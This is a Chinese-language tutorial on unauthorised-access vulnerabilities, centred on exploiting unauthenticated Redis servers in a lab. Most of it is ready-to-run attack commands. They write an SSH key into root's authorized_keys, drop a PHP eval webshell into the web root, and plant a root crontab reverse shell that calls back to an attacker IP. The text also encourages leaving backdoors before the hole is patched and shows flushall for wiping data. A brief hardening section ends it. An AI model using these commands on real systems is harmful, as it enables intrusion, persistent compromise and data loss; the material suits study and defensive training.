目录
未授权漏洞的定义
什么是未授权漏洞?
需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
简而言之,就是任意用户
在访问目标服务器的时候,没有经过授权
就访问到理应经过授权才能访问
的数据。
比如一个评论区,本来需要登录(即授权
)才能留言评论。但用户却在没有登录的情况下(当然也没有利用盗取cookies等自己给自己授权的操作),也成功发表评论。
关系型数据库基本上都有未授权访问漏洞
非关系型数据库基本上只有redis有未授权漏洞
漏洞类型
默认密码
空密码
垂直越权、水平越权
前端取消跳转直接访问绕过
如何发现
扫特定服务端口
扫多级子域名
扫特定应用端口
扫各级目录
这里以redis数据库为例
redis
redis介绍
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
本地漏洞环境搭建(redis安装)
(当然,靶机同样需要搭建好环境)
CentOS安装redis:
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
未找到命令的话,安装该命令
yum install wget
tar xzf redis-3.2.0.tar.gz //解压redis文件
cd redis-3.2.0
make MALLOC=libc
如果报错说没有gcc命令
就安装gcc服务,然后重新make MALLOC=libc
yum install gcc
修改配置文件,使可以远程访问
vi redis.conf
bind 127.0.0.1前面加上#号
protected-mode设为no
将配置文件放到etc目录下
cp redis.conf /etc/
启动redis-server
./src/redis-server redis.conf
然后关闭防火墙
默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件。
虽然可以直接利用这个漏洞访问redis数据库,但是,万一管理员哪天把漏洞堵上了呢?
到那时再感叹:曾经有一个未授权漏洞摆在我面前,我却没有趁机留个后门,结果今天这个漏洞被修复了……
redis基本命令
连接redis: redis-cli -h 172.16.11.78
查看redis版本信息、一些具体信息、服务器版本信息等等: info
将变量x的值设为test: set x "test"
删库 flushall
把整个redis数据库删除,一般情况下三年以上!!!
查看所有键: KEYS *
获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
config get dir
config get dbfilename
攻击测试
三种利用方式
上传公钥实现免密登录
往web路径里写webshell
利用计划任务执行反弹shell
攻击机: kali 172.16.11.83
靶机:centos 172.16.11.78
nmap扫描服务器开启端口
1.利用秘钥
ssh-keygen -t rsa
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>test.txt
cat test.txt | redis-cli -h 172.16.11.78 -x set crackit
redis-cli -h 172.16.11.78
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys"
save
1.创建密钥
ssh-keygen -t rsa
2.导入公钥
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>test.txt
将公钥的内容重定向到test.txt文件里,以\n\n
(相当于回车)隔开,\n
可不需要
3.发送公钥
cat test.txt | redis-cli -h 192.168.177.146 -x set crackit
4.为公钥正名
将公钥导入正确的路径,改为正确的名字
5.免密登录
此时,可以免密登录靶机,就算现在未授权漏洞被修复了也不怕
具体需要注意的细节可以看这个免密登录
2.用webshell
利用条件
目标服务器关闭了只能本机访问
目标服务器开启了web服务,且web服务的路径已知及我们有写权限
利用过程
redis-cli -h 172.16.11.78
//利用未授权漏洞连接靶机
config set dir /var/www/html
//进入对方服务器的web目录
config set dbfilename backdoor.php
//新建一个名为backdoor.php的文件
set x "<?php @eval($_POST['cmd'])?>"
//将一句话木马写入backdoor文件
save
//保存
此时,靶机上的木马已经就绪
此时,不需要未授权漏洞,也可以用蚁剑连接靶机
3.利用计划任务
利用计划任务执行命令反弹shell,在redis以root权限运行时可以写crontab来执行命令反弹shell
1.监听端口
在自己的服务器上监听一个端口,最好不要设置常用的比如80端口,这里我设置成7999端口
nc -lvnp 7999
2.执行命令
redis-cli -h 172.16.11.78
config set dir /var/spool/cron/
config set dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/172.16.11.83/7999 0>&1\n" //172.16.11.83是攻击机的ip,7999是攻击机刚刚监听的端口
save
3.nc监听端口反弹回来的shell
4.退出
exit
ps:此处使用bash反弹shell,也可使用其他方法
防御方法
到redis安装目录下,配置redis.conf文件:
1、默认只对本地开放
bind 127.0.0.1
1.5、限制登录ip
虽然默认只对本地开放,但是管理员一般都不会只对本地开放,所以要限制登录ip
2、添加登陆密码
修改 redis.conf 文件,添加 requirepass mypasswd
3、在需要对外开放的时候修改默认端口(端口不重复就可以)
port 9792
4、以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
5、最后还可以配合iptables限制开放
0x04 安全配置